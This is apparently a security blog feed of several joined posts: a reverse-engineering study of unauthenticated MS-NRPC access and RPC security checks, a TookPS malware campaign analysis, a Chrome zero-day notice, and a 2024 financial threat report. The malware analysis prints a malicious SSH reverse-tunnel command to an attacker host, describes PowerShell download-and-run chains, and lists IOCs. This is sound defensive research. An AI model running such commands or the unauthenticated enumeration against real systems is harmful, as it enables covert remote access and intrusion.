At first, enabling “Authenticated without exceptions” seems to work perfectly – blocking all enumeration activity with no authentication. Over time, however, we would notice significant issues: many of the domain controller’s functions would stop working. This is not surprising, as Microsoft has explicitly warned that using this policy setting can severely disrupt domain controller functionality. In fact, it has been described as “the group policy that punches your domain in the face,” effectively rendering the domain controller inoperable.

To better understand this issue, let’s use WMI as an example and examine why setting this policy to “Authenticated without exceptions” causes domain functionality to fail.

WMI as DCOM object

Windows Management Instrumentation (WMI) is the infrastructure for managing data and operations on Windows-based operating systems. It’s widely used by system administrators for everyday tasks, including remote management of Windows machines.

To test the effect of setting the Restrict Unauthenticated RPC Clients policy to “Authenticated without exceptions”, let’s try to access WMI on a remote machine using the

wmic

command to list processes. In this case, we’ll use valid administrator credentials for the remote machine.

Listing remote processes using wmic

As shown in the screenshot above, the attempt to list remote processes fails with an “Access Denied” error, even with valid administrator credentials. But why does this happen?

Remote WMI access relies on the DCOM architecture. To interact with the WMI server, a DCOM object must first be created on the remote machine. As explained in part one, interfaces such as

IObjectExporter

(

IOXIDResolver

) are responsible for locating and connecting to DCOM objects.

In simpler terms native Windows libraries typically use the

IObjectExporter

interface by default during the initial steps of creating a DCOM object, although it is technically optional. When binding the interface, the authentication level is set to “no authentication” (level 1). Next, the libraries use the

ServerAlive2

function.

When the Restrict Unauthenticated RPC Clients policy is set to “Authenticated without exceptions”, it blocks these no-auth activities. This prevents the creation of DCOM objects, so the WMIC command that creates a DCOM object fails and returns an “Access Denied” error, even if the credentials are valid.

Furthermore, since DCOM object creation is integral to many domain controller functions, blocking these activities can disrupt most operations on the domain controller. In short, setting the policy to “Authenticated without exceptions” not only breaks remote WMI access, it also impacts broader domain functionality.

To better understand this behavior, let’s examine what happens under the hood when we set the Restrict Unauthenticated RPC Clients policy to “Authenticated” or “None”. Using Wireshark, we’ll capture the traffic while running the same PowerShell command as before.

Network traffic for remote WMI

In the captured traffic, we can see that before the DCOM object is created, the

IOXIDResolver

interface must be bound, and the

ServerAlive2

function is called (packets 21-24).

If we inspect packet 21, which contains the bind request, we see that the native libraries bind the interface without authentication – because the authentication length is zero.

Binding without authentication

Next, let’s inspect the traffic when the Restrict Unauthenticated RPC Clients policy is set to “Authenticated without exceptions”.

Network traffic for WMI

From the captured traffic, we can see several “Access Denied” responses when attempting to call the

ServerAlive2

function with valid credentials. This happens because the policy blocks the no-authentication behavior, effectively stopping the initial binding of the

IOXIDResolver

interface (which binds without authentication by default). The failure to bind the interface at the beginning of the process is what causes this error, proving that it does not come from WMI itself.

The event that never occurs

As we saw earlier, preventing enumeration of domain information seems impossible, but detecting it might be another story. The first place to look for detection is Windows audit policies. I found the audit policy under event ID 5712, which should generate an event like “Audit RPC Events 5712(S): A Remote Procedure Call (RPC) was attempted.”

However, Microsoft states that this event never occurs, and after enabling this audit policy, I indeed found no related events in the event viewer for any RPC attempts.

The event that never occurs seemed like a dead end for detecting RPC activity. However, after further research, I found two additional ways to detect RPC activity.

The first method is Event Tracing for Windows, which logs RPC-related events. However, it lacks useful details such as the IP address of the RPC client and generates many events, including local RPC activity, making it difficult to parse.

The second method is to use third-party open source software called RPC-Firewall. This tool audits all remote RPC calls, allowing you to track RPC UUIDs and opnums, block specific ones, and filter by source address. It integrates with the event viewer to display logs, as shown in the screenshot below of an RPC event generated by RPC-Firewall.

RPC-Firewall RPC event

Prior to conducting this research, I had found these three ways to detect such activity that I mentioned earlier. However, due to the lack of native detection, the process remains challenging. You can rely on third-party tools or develop your own detection method. But even with these approaches, it’s difficult because you need to identify which machines in your domain are making RPC requests without authentication and track the frequency of this activity.

MS-RPC security

Now let’s explore why Windows behaves this way, why there are issues with policies, and what exceptions really mean. But before diving into all that, we need to discuss MS-RPC security – basically, how to secure your RPC server.

From this point on, I’ll be referring to a new term, the RPC server. The RPC server is where the logic of the interface is defined. A single server can have multiple interfaces.

Securing an RPC server is a complex process because of the variety of access methods, such as named pipes or TCP endpoints. In addition, security measures for RPC servers have evolved over time.

In this research, I will focus on the security methods relevant to our study, but there are several other methods, some of which are described in this post.

Registration flags

When registering an interface for an RPC server, specific flags can be set using the RpcServerRegisterIf2 function. Three flags are of particular relevance:

• RPC_IF_ALLOW_LOCAL_ONLY: Rejects calls from remote clients.
• RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH: Invokes a security callback for authentication checks.
• RPC_IF_ALLOW_SECURE_ONLY: Limits connections to clients with an authentication level higher than RPC_C_AUTHN_LEVEL_NONE.

The RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag registers a security callback (e.g.,

MySecurityCallback

), as shown in the examples below, which takes over security checks from the RPC runtime.

RPCServerRegisterIf2 with security callback

If the callback returns

RPC_S_OK

(mapped to 0), the client passes; otherwise, the client fails the security check.

The security callback

By default, the RPC runtime (

rpcrt4.dll

library) handles client authentication using mechanisms such as NTLM or Kerberos. However, its behavior is influenced by two factors:

1. The Restrict Unauthenticated RPC Clients policy:
   

• If set to “None”, unauthenticated clients are allowed.
• If set to “Authenticated”, only authenticated clients can connect.

This explains the exceptions we discussed earlier: they occur when interfaces inside RPC servers are registered with this flag, enabling unauthenticated connections even when the policy is set to “Authenticated”. The source and behavior of these exceptions should now be clear.

Securing the endpoint

As mentioned earlier, RPC servers can be accessed through various transport layers. For remote connections, TCP ports and named pipes are commonly used.

When registering an endpoint for an RPC server using the RpcServerUseProtseqEp function, you can include a security descriptor (SD) to control who can connect to the endpoint. It’s important to note that this SD only applies to named pipes, not TCP ports. Additionally, it can also be used for local connections using ALPC ports as endpoints.

Securing the interface

Microsoft has introduced a newer version of the RpcServerRegisterIf2 function, called RpcServerRegisterIf3, which allows you to add an optional SD when registering your interface. This enables you to control who can connect directly to the interface.

This security mechanism raises an important question: if an interface has registered an SD, and a client connects via TCP without authentication (authentication level = 1), how is the security check performed? Specifically, what security token is assigned to the client for the SD check?

To answer this, we need to do some reverse engineering magic against the RPC runtime library (

rpcrt4.dll

).

The figure below shows the decompiled view from IDA for the function called when a client connects without authentication. As you can see, it uses the ImpersonateAnonymousToken function, which allows the thread to impersonate the system’s anonymous logon token. In other words, a client connecting via a TCP endpoint without authentication is represented as an anonymous user.

Called function for unauthenticated clients

After that, the access check is performed using the AccessCheck function:

Access check

Binding authentication

The final RPC security issue to discuss is binding authentication. As you recall, the authentication method is specified in the binding packet (the first packet in an RPC connection). But what does that mean?

An RPC server can register its preferred authentication method for clients using the RpcServerRegisterAuthInfo function. For instance, in the following example, NTLM authentication is registered as the chosen method.

After that, the client can connect using RPCBindSetAuthInfoEx and specify the correct authentication service and authentication level.

Now that we’ve covered RPC security, it’s time to answer questions about our interface (MS-NRPC): What security is applied on the server that defines this interface, and why were we able to access it without authentication?

To do this, I used two approaches:

1. Surface analysis: I examined the internal security checks of the RPC server using a flowchart from a great RPC toolkit. This chart provides valuable insight for our research, allowing us to analyze the security applied by the RPC server in more detail. I’ll go through it step by step, following the path described in the chart to conduct the investigation.
2. In-depth analysis: In this approach, I interacted directly with the RPC server using reverse engineering to gain further insight into the enabled security.

Surface analysis

I will now attempt to determine the security mechanism used by the RPC server that’s related to the MS-NRPC (Netlogon) interface. I will assume that we are the RPC client calling a function from (MS-NRPC) Netlogon to enumerate domain information without using any authentication.

Let’s start with transport protocols, as outlined in the flowchart:

In the chart above, the RPC client has two options for connecting to the RPC server: via TCP or SMB named pipes. In our research, we are using TCP, which is highlighted.

Next, we encounter the Restrict Unauthenticated RPC Client policy, which has two values: “None” or “Authenticated”. If set to “None”, we proceed to the next step. If set to “Authenticated”, a check is performed to see if the client has authenticated. If it has, the flow continues; however, if the client connects without authentication (as in our case), the RPC runtime checks for the RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag and either accepts or denies the connection based on its presence.

Since the policy is set to “Authenticated” and our client does not perform authentication, we need the RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag to be registered in order to proceed to the next step, thereby making an exception to the policy. The presence of this flag allows us to conclude that a security callback has also been registered.

Our path now looks like this:

Next, there is another check to see if the server has registered an authentication service. If the server hasn’t registered one and the client tries to authenticate, it will be denied with an “authentication service unknown” error. However, if the client doesn’t attempt authentication, the process continues.

If the server has registered an authentication service, the check against the endpoint (the SD registered via RpcServerUseProtseqEp) is performed. If the client passes this, another check is made against the interface SD (registered using RpcServerRegisterIf3). Failure to pass either of these checks will result in access being denied.

In our case, we know the server has already registered an authentication service because it’s a well-known Microsoft protocol. We don’t need to worry about the endpoint check either, as it’s intended for clients connecting via named pipes. As for the interface security descriptor, we either passed this check if the SD doesn’t exist at all, or the SD does exist and it allows anonymous users (representing clients without authentication).

Next, we check two flags: the first, RPC_IF_ALLOW_LOCAL_ONLY, determines if the interface can be accessed remotely, and the second checks for RPC_IF_ALLOW_SECURE_ONLY. If the latter is present, it ensures that we are using an authentication level higher than “None”, denying or allowing access based on the authentication level. Finally, we check for the presence of a security callback. If it doesn’t exist, we can access the server immediately. If it does exist, we must pass the custom checks within the security callback to access the server.

In our case, we know that RPC_IF_ALLOW_LOCAL_ONLY doesn’t exist because we can access the interface remotely. We also know that RPC_IF_ALLOW_SECURE_ONLY isn’t present because we’re using an authentication level of “None”. Finally, we conclude that a security callback is registered based on the previous use of RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, and we successfully pass the security callback check to gain access to the server.

Our final path looks like this:

Surface analysis conclusion

At this stage, we can conclude that the RPC server has the following characteristics:

1. Regarding registration flags:

• Has RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH (indicating a security callback).
• Doesn’t have RPC_IF_ALLOW_LOCAL_ONLY.
• Doesn’t have RPC_IF_ALLOW_SECURE_ONLY.

• We’re unsure if it has a security descriptor (SD) or not.

• The RPC server registers authentication.

As shown, the surface analysis couldn’t provide a complete security overview for the Netlogon (MS-NRPC) interface, so I decided to proceed with an in-depth analysis.

In-depth analysis

The goal of our in-depth analysis is to leverage reverse engineering techniques to assess the security of the RPC server under the MS-NRPC interface. As we saw before, the interface is accessible through the LSASS process, specifically via the Netlogon DLL. Here we have two approaches to analysis:

1. Use automated tools to examine the security of the interface.
2. Go directly to IDA and manually locate the interface and its associated security mechanisms.

Automated tools

Let’s begin with a tool called PE RPC Scraper. If we provide the Netlogon DLL as an argument, this tool reveals information about the RPC server, its interfaces, functions and security details.

PE RPC Scraper output

The output of the tool shows that it successfully identified the Netlogon interface (UUID) and confirmed that it contains 59 functions. It also revealed the presence of a security callback and a set of flags with a value of

0x91

. After decoding this value, we can see that the following flags have been registered:

• RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH
• RPC_IF_SEC_CACHE_PER_PROC
• RPC_IF_AUTOLISTEN

The output from PE RPC Scraper also indicates that the interface has no security descriptor.

The information obtained from both the surface analysis and the automated tool provides the answer to the security bypass issue and allows me to conclude the investigation at this point. However, I personally don’t trust automated tools, and I have a good reason for that. So, for further confirmation, let’s dive into IDA.

IDA like a superhero

At this point, I’ve loaded

netlogon.dll

into IDA and started my investigation.

A. Locate the interface

The first step is to determine where the interface is registered. As shown in the figure below, the UUID registered using RPCServerRegisterIf3 is related to the MS-NRPC interface.

MS-NRPC interface registration

B. Endpoint registration

At this stage, we’ll check the endpoint registration for the server. As you can see in the screenshot below, RpcServerUseProtseqEpW and RpcServerUseProtseqExW have been used to register three endpoints:

1. SMB named pipe,

   lsass

2. Local ALPC port,

   NETLOGON_LRPC

3. High dynamic TCP ports

Endpoint registration

C. Interface registration

As I mentioned earlier, RpcServerRegisterIf3 is used to register the interface.

Interface registration

The function used the

0x91

value as a set of flags, which are: RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH | RPC_IF_SEC_CACHE_PER_PROC | RPC_IF_AUTOLISTEN. RpcServerRegisterIf3 also has a security callback (

sub_18002EF60

), in addition to a security descriptor (

hMem

). This finding contradicts what was previously confirmed by an automated tool – that’s why I don’t trust them for reverse engineering.

D. Security callback

Now let’s go inside the security callback and see how the security check is performed. From the screenshot below, we can see that RpcServerInqCallAttributesW is called first with the

Flags

field inside the

RpcCallAttributes

struct set to

96

. After decoding this value, we can see that this function used two flags – RPC_QUERY_IS_CLIENT_LOCAL | RPC_QUERY_NO_AUTH_REQUIRED – to request the client information.

The security callback has a condition statement.

The security callback conditions

First, the callback verifies that the RpcServerInqCallAttributesW function was called successfully, then it checks if the opnum is less than 59. If both previous conditions are met and the client is local, access to the server is granted. If the client is remote, the callback uses an access array (a matrix) to determine if the opnum is allowed to be called by the remote client.

The access matrix is just hardcoded bytes in memory:

Access matrix

All of the previously mentioned functions in the MS-NRPC interface that can be accessed without authentication (as outlined in the table in the first part) pass the access matrix check.

Now, let’s analyze what happens when the conditions are met or not, using assembly language since the IDA decompiler tab lacks precise interpretations.

The security callback conditions in assembly

• For the security callback, as we mentioned earlier, returning 0 indicates a successful call.
• For the first condition (RpcServerInqCallAttributesW), failure results in an error value.
• For the second condition (operation number compared to 59), failure still returns 0. This only ensures that the matrix index doesn’t exceed its size and doesn’t validate implemented functions that are handled elsewhere.
• For the third condition, if both the access matrix and local client checks fail, the callback returns 5 (access denied). If either of them succeeds, execution continues.

If all of the above checks in the IF statement are passed, the security callback proceeds to check the Windows version with another IF statement that verifies the value of a DWORD in memory.

The second IF statement

This DWORD is initialized using the code shown below. The value is set based on whether or not the machine is a domain controller (DC).

Checking the machine type

• If the machine is a DC, execution continues and returns 0, indicating that the security callback check was successfully passed.
• If it is not a DC, further checks are performed.

This sequence of checks shows that passing the security callback for the remote client on a DC requires only that the access matrix check be successfully passed.

E. Interface security descriptor

As we saw before, the security descriptor is assigned through the RpcServerRegisterIf3 function. It is set up by calling another function that contains many instructions. The security descriptor definition language (SDDL) for the security descriptor is shown below.

SDDL for security descriptor

From the SDDL, we can see that the following groups of users have read access: Anonymous Logon, Everyone, Restricted Code, Built-in Administrators, Application Package, and a specific security identifier (SID).

But I ran into a problem. The function where the security descriptor is set up contained numerous operations, and I wasn’t sure if any changes had been made to the SDDL representation of the security descriptor. That’s why I decided to find an alternative method to verify that the SDDL interpretation remained the same.

To achieve this goal, I considered two approaches:

1. Memory search: I considered searching memory at runtime for the known value in the header of the relative security descriptor to intercept and extract the discretionary access control list (DACL) inside LSASS. However, since this involves interacting with the LSASS process, which is risky, I took a different approach.
2. ALPC Port Security Descriptor: The ALPC port

   NETLOGON_LRPC

   , registered during endpoint setup, shares the same security descriptor as the interface:

Endpoint and interface registration

Using the ALPC port’s name, I used the NtObjectManager PowerShell module (you can use any programming alternative) to extract the security descriptor from the ALPC port.

Extracting the SD from the ALPC port in PowerShell

After that, I obtained the DACL from the security descriptor.

Security descriptor for ALPC port

The screenshot above shows that the DACL obtained from the ALPC port’s security descriptor matches the SDDL representation we obtained earlier. As we can see in the first line of the ACL entries, anonymous login is allowed on the interface, which explains why we can pass the security descriptor access check for the interface (if there is no client token, the Anonymous LOGON token is assigned).

In-depth analysis conclusion

From the in-depth analysis, we now have the whole scenario of the MS-NRPC security mechanism, which allowed us to understand how we could successfully pass the security checks of the MS-NRPC interface and call multiple functions without authentication, even if the RPC policy is set to “Authenticated”.

To summarize, here’s how we were able to bypass the security of MS-NRPC:

1. Registration flags:

We found that the interface has the RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag: for this reason, we were able to get past the RPC policy.

2. Security callback:

We found that this flag has a security callback, which in our case is used to check if we pass the check against the access array, and all of our functions passed the check.

3. Interface security descriptor:

The interface has a security descriptor that permits multiple user groups to connect, including anonymous users. Since we are using no authentication, the access check is performed against the anonymous user, allowing to access the interface’s functions.

Research conclusion

At the end of this part and my research, I hope I was able to provide all the details related to this research and the approaches that I used. I also hope that you are now able to understand why we have this kind of no-authentication enumeration. Furthermore, I hope you are now equipped to develop your own ways to detect this kind of activity.

Thank you for reading, and see you soon with more research projects.

Read More 

In early March, we published a study detailing several malicious campaigns that exploited the popular DeepSeek LLM as a lure. Subsequent telemetry analysis indicated that the TookPS downloader, a malware strain detailed in the article, was not limited to mimicking neural networks. We identified fraudulent websites mimic official sources for remote desktop and 3D modeling software, alongside pages offering these applications as free downloads.

Malicious websites

UltraViewer, AutoCAD, and SketchUp are common business tools. Therefore, potential victims of this campaign include both individual users and organizations.

Our telemetry also detected file names such as “Ableton.exe” and “QuickenApp.exe”, alongside malicious websites. Ableton is music production software for composition, recording, mixing, and mastering, and Quicken is a personal finance app for tracking expenses, income, debts, and investments across various accounts.

TookPS

In our report on attacks exploiting DeepSeek as a lure, we outlined the infection chain initiated by Trojan-Downloader.Win32.TookPS. Let us delve into this. Upon infiltrating a victim’s device, the downloader reaches out to its C2 server, whose domain is embedded in its code, to retrieve a PowerShell script. Different malware samples communicate with different domains. For example, the file with the MD5 hash 2AEF18C97265D00358D6A778B9470960 reached out to bsrecov4[.]digital, which was inactive at the time of our research. It received the following base64-encoded command from that domain:

Original command

Decoding reveals the PowerShell command being executed:

The variable “$TookEnc” stores an additional base64-encoded data block, also executed in PowerShell. Decrypting this reveals the following command:

Decoded command from $TookEnc variable shown in the previous screenshot

Example of decrypting another command from $TookEnc variable

Although different samples contain different URLs, the command structure remains identical. These commands sequentially download and execute three PowerShell scripts from the specified URL. The first script downloads “sshd.exe”, its configuration file (“config”), and an RSA key file from the C2 server. The second script retrieves command-line parameters for “sshd” (remote server address, port, and username), and then runs “sshd”.

Example of a malicious PowerShell command generated by the PowerShell script:

ssh.exe -N -R 41431:localhost:109 Rc7DexAU73l@$ip_address -i "$user.sshRc7DexAU73l.41431" -f "$user.sshconfig"

This command starts an SSH server, thereby establishing a tunnel between the infected device and the remote server. For authentication, it uses the RSA key downloaded earlier, and the server configuration is sourced from the “config” file. Through this tunnel, the attacker gains full system access, allowing for arbitrary command execution.

The third script attempts to download a modified version of the Backdoor.Win32.TeviRat malware onto the victim’s machine, which is a well-known backdoor. The sample we obtained uses DLL sideloading to modify and deploy the TeamViewer remote access software onto infected devices. In simple terms, the attackers place a malicious library in the same folder as TeamViewer, which alters the software’s default behavior and settings, hiding it from the user and providing the attackers with covert remote access. This campaign used the domain invoicingtools[.]com as the C2.

Part of the script that downloads Backdoor.Win32.TeviRat

Additionally, Backdoor.Win32.Lapmon.* is downloaded onto the compromised device. Unfortunately, we were not able to establish the exact delivery method. This backdoor uses the domain twomg[.]xyz as its C2.

In this manner, the attackers gain complete access to the victim’s computer in variety of ways.

Infrastructure

The malicious scripts and programs in this attack primarily used domains registered in early 2024, hosted at two IP addresses:

C2 domains and corresponding IPs

We found no legitimate user-facing resources at these IP addresses. Alongside the campaign-related domains, we also found other domains long blocked by our security solutions. This strongly suggests these attackers had used other tools prior to TookPS, Lapmon, and TeviRat.

Takeaways

The DeepSeek lure attacks were merely a glimpse into a large-scale campaign targeting both home users and organizations. The malware distributed by the attackers was disguised as popular software, including business-critical applications. They attempted to gain covert access to the victim’s device through a variety of methods after the initial infection.

To protect against these attacks, users are advised to remain vigilant and avoid downloading pirated software, which may represent a serious threat.

Organizations should establish robust security policies prohibiting software downloads from dubious sources like pirated websites and torrents. Additionally, regular security awareness training is essential for ensuring a proper level of employee vigilance.

IOCs

MD5
46A5BB3AA97EA93622026D479C2116DE
2DB229A19FF35F646DC6F099E6BEC51F
EB6B3BCB6DF432D39B5162F3310283FB
08E82A51E70CA67BB23CF08CB83D5788
8D1E20B5F2D89F62B4FB7F90BC8E29F6
D26C026FBF428152D5280ED07330A41C
8FFB2A7EFFD764B1D4016C1DF92FC5F5
A3DF564352171C207CA0B2D97CE5BB1A
2AEF18C97265D00358D6A778B9470960
8D0E1307084B4354E86F5F837D55DB87
7CB0CA44516968735E40F4FAC8C615CE
62CCA72B0BAE094E1ACC7464E58339C0
D1D785750E46A40DEF569664186B8B40
EE76D132E179623AD154CD5FB7810B3E
31566F18710E18F72D020DCC2FCCF2BA
F1D068C56F6023FB25A4F4F0CC02E9A1
960DFF82FFB90A00321512CDB962AA5B
9B724BF1014707966949208C4CE067EE

URLs
Nicecolns[.]com
sketchup-i3dmodels-download[.]top
polysoft[.]org
autocad-cracked[.]com
ultraviewer[.]icu
ultraview-ramotepc[.]top
bsrecov4[.]digital
downloader[.]monster
download[.]monster
pstuk[.]xyz
tukeps2ld[.]online
twomg[.]xyz
tuntun2[.]digital
invoicingtools[.]com
tu02n[.]website
inreport2[.]xyz
inrep[.]xyz

IPs
88[.]119.175.187
88[.]119.175.184
88[.]119.175.190

Read More 

In mid-March 2025, Kaspersky technologies detected a wave of infections by previously unknown and highly sophisticated malware. In all cases, infection occurred immediately after the victim clicked on a link in a phishing email, and the attackers’ website was opened using the Google Chrome web browser. No further action was required to become infected.

All malicious links were personalized and had a very short lifespan. However, Kaspersky’s exploit detection and protection technologies successfully identified the zero-day exploit that was used to escape Google Chrome’s sandbox. We quickly analyzed the exploit code, reverse-engineered its logic, and confirmed that it was based on a zero-day vulnerability affecting the latest version of Google Chrome. We then reported the vulnerability to the Google security team. Our detailed report enabled the developers to quickly address the issue, and on March 25, 2025, Google released an update fixing the vulnerability and thanked us for discovering this attack.

Acknowledgement for finding CVE-2025-2783 (excerpt from security fixes included into Chrome 134.0.6998.177/.178)

We have discovered and reported dozens of zero-day exploits actively used in attacks, but this particular exploit is certainly one of the most interesting we’ve encountered. The vulnerability CVE-2025-2783 really left us scratching our heads, as, without doing anything obviously malicious or forbidden, it allowed the attackers to bypass Google Chrome’s sandbox protection as if it didn’t even exist. The cause of this was a logical error at the intersection of Google Chrome’s sandbox and the Windows operating system. We plan to publish the technical details of this vulnerability once the majority of users have installed the updated version of the browser that fixes it.

Our research is still ongoing, but judging by the functionality of the sophisticated malware used in the attack, it seems the attackers’ goal was espionage. The malicious emails contained invitations allegedly from the organizers of a scientific and expert forum, “Primakov Readings”, targeting media outlets, educational institutions and government organizations in Russia. Based on the content of the emails, we dubbed the campaign Operation ForumTroll.

Example of a malicious email used in this campaign (translated from Russian)

At the time of writing, there’s no exploit active at the malicious link – it just redirects visitors to the official website of “Primakov Readings”. However, we strongly advise against clicking on any potentially malicious links.

The exploit we discovered was designed to run in conjunction with an additional exploit that enables remote code execution. Unfortunately, we were unable to obtain this second exploit, as in this particular case it would have required waiting for a new wave of attacks and exposing users to the risk of infection. Fortunately, patching the vulnerability used to escape the sandbox effectively blocks the entire attack chain.

All the attack artifacts analyzed so far indicate high sophistication of the attackers, allowing us to confidently conclude that a state-sponsored APT group is behind this attack.

We plan to publish a detailed report with technical details about the zero-day exploit, the sophisticated malware, and the attackers’ techniques.

Kaspersky products detect the exploits and malware used in this attack with the following verdicts:

• Exploit.Win32.Generic
• Trojan.Win64.Agent
• Trojan.Win64.Convagent.gen
• PDM:Exploit.Win32.Generic
• PDM:Trojan.Win32.Generic
• UDS:DangerousObject.Multi.Generic

Indicators of Compromise

primakovreadings[.]info

Read More 

As more and more financial transactions are conducted in digital form each year, financial threats comprise a large piece of the global cyberthreat landscape. That’s why Kaspersky researchers analyze the trends related to these threats and share an annual report highlighting the main dangers to corporate and consumer finances. This report contains key trends and statistics on financial phishing, mobile and PC banking malware, as well as offers actionable recommendations to bolster security measures and effectively mitigate emerging threats

Methodology

In this report, we present an analysis of financial cyberthreats in 2024, focusing on banking Trojans and phishing pages that target online banking, shopping accounts, cryptocurrency wallets and other financial assets. To gain an understanding of the financial threat landscape, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN). Note that for mobile banking malware, we retrospectively revised the 2023 numbers to provide more accurate statistics. We also changed the methodology for PC banking malware by removing obsolete families that no longer use Trojan banker functionality, hence the sharp drop in numbers against 2023.

Key findings

Phishing

• Banks were the most popular lure in 2024, accounting for 42.58% of financial phishing attempts.
• Amazon Online Shopping was mimicked by 33.19% of all phishing and scam pages targeting online store users in 2024.
• Cryptocurrency phishing saw an 83.37% year-over-year increase in 2024, with 10.7 million detections compared to 5.84 million in 2023.

PC malware

• The number of users affected by financial malware for PCs dropped from 312,000 in 2023 to 199,000 in 2024.
• ClipBanker, Grandoreiro and CliptoShuffler were the prevalent malware families, together targeting over 89% of affected users.
• Consumers remained the primary target of financial cyberthreats, accounting for 73.69% of attacks.

Mobile malware

• Nearly 248,000 users encountered mobile banking malware in 2024 – almost 3.6 times more than in 2023 when 69,000 users were affected.
• Mamont was the most active Android malware family, accounting for 36.7% of all mobile banker attacks.
• Users in Turkey were the most targeted.

Financial phishing

In 2024, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. The attackers employed social engineering techniques to trick victims into sharing their financial data or making a payment on a fake page.

We analyzed phishing detections separately for users of our home and business products. Pages mimicking web services accounted for the largest slice of the business pie at 26.56%. The percentage was lower for home users (10.34%), but home users were more likely to be targeted by pages using banks and global internet portals, social media and IMs, payment systems, and online games as a lure. Delivery company scams accounted for 15.17% of attacks targeting businesses, but did not register in the top ten for home users.

TOP 10 organizations mimicked by phishing and scam pages that were blocked on business users’ devices, 2024 (download)

TOP 10 organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2024 (download)

Overall, among the three major financial phishing categories, bank users were targeted most in 2024 (42.58%), rising a little over 4 p.p. on the previous year. Online stores were of relatively less interest to the fraudsters at 38.15% dropping from 41.65% in 2023. Payment systems accounted for the remaining 19.27%.

Distribution of financial phishing pages by category, 2024 (download)

Online shopping scams

The most popular online brand target for fraudsters was Amazon (33.19%). This should not come as a surprise given Amazon is one of the world’s largest online retailers. With 2.41 billion average monthly visitors and $447.5 billion in annual web sales, up 8.6% in 2024, there is every chance Amazon will retain its dubious honor into 2025.

Apple’s share of attacks dropped nearly 3 p.p. from last year’s figure to 15.68%, while Netflix scams grew slightly to 15.99%. Meanwhile, fraudsters’ interest in Alibaba increased, its share going up from 3.17% in 2023 to 7.95% in 2024.

Examples of phishing sites that mimic Amazon, Netflix, Apple and Alibaba

Last year, Louis Vuitton accounted for a whopping 5.52% of all attacks. However, the luxury brand completely slipped out of the top ten in 2024, along with Italian eyewear company Luxottica. Instead, sportswear giant Adidas and Russian e-commerce platform Ozon entered the list with 1.39% and 2.75% respectively. eBay (4.35%), Shopify (3.82%), Spotify (2.84%) and Mercado Libre (1.86%) all stayed in the top ten, with marginal differences from the previous year.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2024 (download)

When looking at fake website content, free prizes and offers that were a little too good to be true once again proved a popular tactic used by scammers. However tempting they may be, most likely, the victim will be the one who pays. Often scammers require “commissions” to get the prize or ask user to pay for delivery. After receiving the money, they disappear.

Examples of scam pages offering free prizes

In other cases, precious gifts are used by phishers to trick the user into giving out their credentials. The scheme below offers the victim an Amazon gift card to obtain which they should enter an OTP code on a phishing website. Although such codes are temporary, the scammers may use them to log in to victim’s account or perform a fraudulent transaction as soon as it is entered into the fake form.

A phishing scheme aimed at getting OTP codes

Fraudsters often trick users into “verifying” their accounts by sending fake security alerts or urgent messages claiming suspicious activity. Victims are directed to a counterfeit page resembling platforms like eBay, where entering data (for example, credentials, payment data or documents) hands them over to scammers.

An example of a phishing site that mimics eBay

Another common tactic involves creating fake storefronts or seller profiles on marketplaces, listing numerous products at seemingly irresistible prices. Shoppers drawn in by the deals unknowingly provide payment details, only to receive nothing in return.

An example of a scam site that mimics an online marketplace

While many pages mimicking online stores target shoppers, there are others that are designed to collect business account credentials. For example, below you can see a phishing page targeting users registered on the Amazon Brand Registry platform, which provides businesses with a range of brand-building and intellectual property protection tools.

An example of a phishing page targeting Amazon brand accounts

Payment system phishing

Payment systems were mimicked in 19.27% of financial phishing attacks detected and blocked by Kaspersky products in 2024 – almost the same percentage as in 2023. Once again, PayPal was the most targeted, but its share of attacks fell from 54.73% to 37.53%. Attacks targeting Mastercard went in the opposite direction, nearly doubling from 16.58% in 2023 to 30.54%. American Express, Qiwi and Cielo are all new entrants into the top five, replacing Visa, Interac and PayPay.

TOP 5 payment systems mimicked by phishing and scam pages, 2024 (download)

Cryptocurrency scams

In 2024, the number of phishing and scam attacks relating to cryptocurrencies continued to grow. Kaspersky anti-phishing technologies prevented 10,706,340 attempts to follow a cryptocurrency-themed phishing link, which was approximately 83.37% higher than the 2023 figure of 5,838,499 (which itself was 16% bigger than the previous year’s). As cryptocurrencies continue to grow, this number is only ever going to get larger.

Financial PC malware

In 2024, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics. As a result, the number of affected users dropped significantly from 312,453 in 2023 to 199,204 in 2024.

Changes in the number of unique users attacked by banking malware in 2024 (download)

Key financial malware actors

The notable strains of banking Trojans in 2024 included ClipBanker (62.9%), Grandoreiro (17.1%), CliptoShuffler (9.5%) and BitStealer (1.3%). Most of these Trojans specifically target crypto assets. However, Grandoreiro is a full-fledged banking Trojan that targeted 1700 banks and 276 crypto wallets in 45 countries and territories around the globe in 2024.

* Unique users who encountered this malware family as a percentage of all users attacked by financial malware

Geography of PC banking malware attacks

To highlight the countries where financial malware was most prevalent in 2024, we calculated the share of users who encountered banking Trojans in the total number attacked by any type of malware in the country. The following statistics indicate where users are most likely to encounter financial malware.

As in 2023, the highest share of banking Trojans was registered in Afghanistan, where it rose from 6% to 9% in 2024. Turkmenistan was next (as in 2023), where the figure rose from 5.2% to 8.8%, and Tajikistan was in third place (again), where the figure rose from 3.7% to 6.2%.

TOP 20 countries by share of attacked users

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users whose computers were targeted by financial malware as a percentage of all Kaspersky users who encountered malware in the country.

Types of attacked users

Attacks on consumers accounted for 73.69% of all financial malware attacks in 2024, up from 61.2% in 2023.

Financial malware attack distribution by type (corporate vs consumer), 2022–2023 (download)

Mobile banking malware

The statistics for 2023 provided in this section were retrospectively revised and may not coincide with the data from the previous year’s report.

